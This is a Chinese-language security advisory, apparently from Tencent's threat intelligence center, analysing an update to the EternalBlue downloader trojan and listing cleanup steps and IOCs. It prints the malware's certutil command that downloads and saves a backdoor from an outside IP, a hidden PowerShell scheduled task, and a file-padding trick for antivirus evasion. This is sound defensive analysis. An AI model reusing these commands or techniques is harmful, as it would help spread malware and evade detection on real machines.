永恒之蓝下载器木马再更新：增肥木马逃避查杀

背景

腾讯御见威胁情报中心3月13日监测到永恒之蓝下载器木马再次出现异动情况，本次木马更新攻击模块ii.dat的下载地址并修改了部分代码(未改动之前使用的攻击方式)，同时下载后门程序mn.dat，将其填充大量垃圾数据生成超大文件进行躲避查杀，同时将生成的大文件木马拷贝到多个系统目录并通过注册表启动项、开始菜单启动项、计划任务进自启动。

更新攻击模块下载地址

域名：v.y6h.net

IP: 139.162.73.241

URL:hxxp:// v.y6h.net/ii.dat

Md5: 21e49843502325b063b4d52e8c297f79

感染机器上的Powershell计划任务下载攻击模块ii.dat，保存为C:\Windows\Temp\sartpg.exe执行。将核心代码解压后与3月8日更新文件对比，发现有一处恶意代码下载地址hxxp://info.haqo.net/e.png?id=被更换为hxxp://info.ackng.com/e.png?id=

新增“大文件”后门

感染机器上的计划任务后通过以下命令下载新的后门程序mn.dat:

certutil  -urlcache -split -f hxxp://153.92.4.49/mn.dat C:/Windows/system32/config/systemprofile/AppData/Roaming/abc.exe

文件签名：“Shenzhen Qitu Software Technolgy Co., Ltd.

”

文件执行后拷贝自身到多个系统目录，生成随机名文件，在文件尾部写入大量无用信息，增肥文件大小以躲避杀软查杀。

C:/Windows/Xubfl2Ps.exe

C:/Users/admin/AppData/Roaming/NHaWAm04.exe

C:/Users/admin/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/aEQ9s3k9.exe

例如复制的其中一个文件大小为0x1FC00+0x1600=0x21200

实际在超过文件结尾地址外，被写入了大量垃圾数据

导致最终生成的文件大小在50M左右

木马负责上传信息到hxxp://pp.abbny.com/t.php?ID=

并获取返回的代码执行

将复制的随机名木马文件添加到菜单启动项随开机机启动

木马还会添加随机名计划任务：

启动程序：cmd.exe /c C:\Windows\随机名.exe

安全建议

1.服务器暂时关闭不必要的端口（如135、139、445），方法可参考：https://guanjia.qq.com/web_clinic/s8/585.html

2.服务器使用高强度密码，切勿使用弱口令，防止黑客暴力破解；

3.使用杀毒软件拦截可能的病毒攻击；

4.推荐企业用户部署腾讯御界高级威胁检测系统防御可能的黑客攻击。御界高级威胁检测系统，是基于腾讯安全反病毒实验室的安全能力、依托腾讯在云和端的海量数据，研发出的独特威胁情报和恶意检测模型系统。

5. 中毒电脑除可使用腾讯电脑管家、腾讯御点终端防御系统查杀病毒，也可参考以下提示手动清理：

删除文件

C:\Windows\Temp\sartpg.exe

%appdata%\Microsoft\cred.ps1

C:/Windows/随机名.exe

C:/Users/admin/AppData/Roaming/随机名.exe

C:/Users/admin/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/随机名.exe

删除以下计划任务：

1）计划任务名：Credentials

启动程序：powershell -nop -w hidden -ep bypass -f %appdata%\Microsoft\cred.ps1

2）计划任务名：随机名

启动程序：cmd.exe /c C:\Windows\随机名.exe

删除菜单启动目录文件：

随机名.exe

IOCs

Md5:

21e49843502325b063b4d52e8c297f79

66ea09330bee7239fcb11a911f8e8ea3

55f7cc72b8eeb5813b16c23955fed4c4

3e96a29e82513c5859d5e508a75fa974

IP

139.162.73.241

153.92.4.49

27.102.128.144

Domain

info.ackng.com

ii.ackng.com

v.y6h.net

URL

hxxp://info.ackng.com/e.png?id=

hxxp://ii.ackng.com/t.php?id=

hxxp://pp.abbny.com/t.php?ID=

hxxp://pp.abbny.com/u.png?ID=

hxxp://pp.abbny.com/r.bat?ID=

hxxp://v.y6h.net/ii.dat

hxxp://153.92.4.49/mn.dat

http://27.102.128.144/aio.dat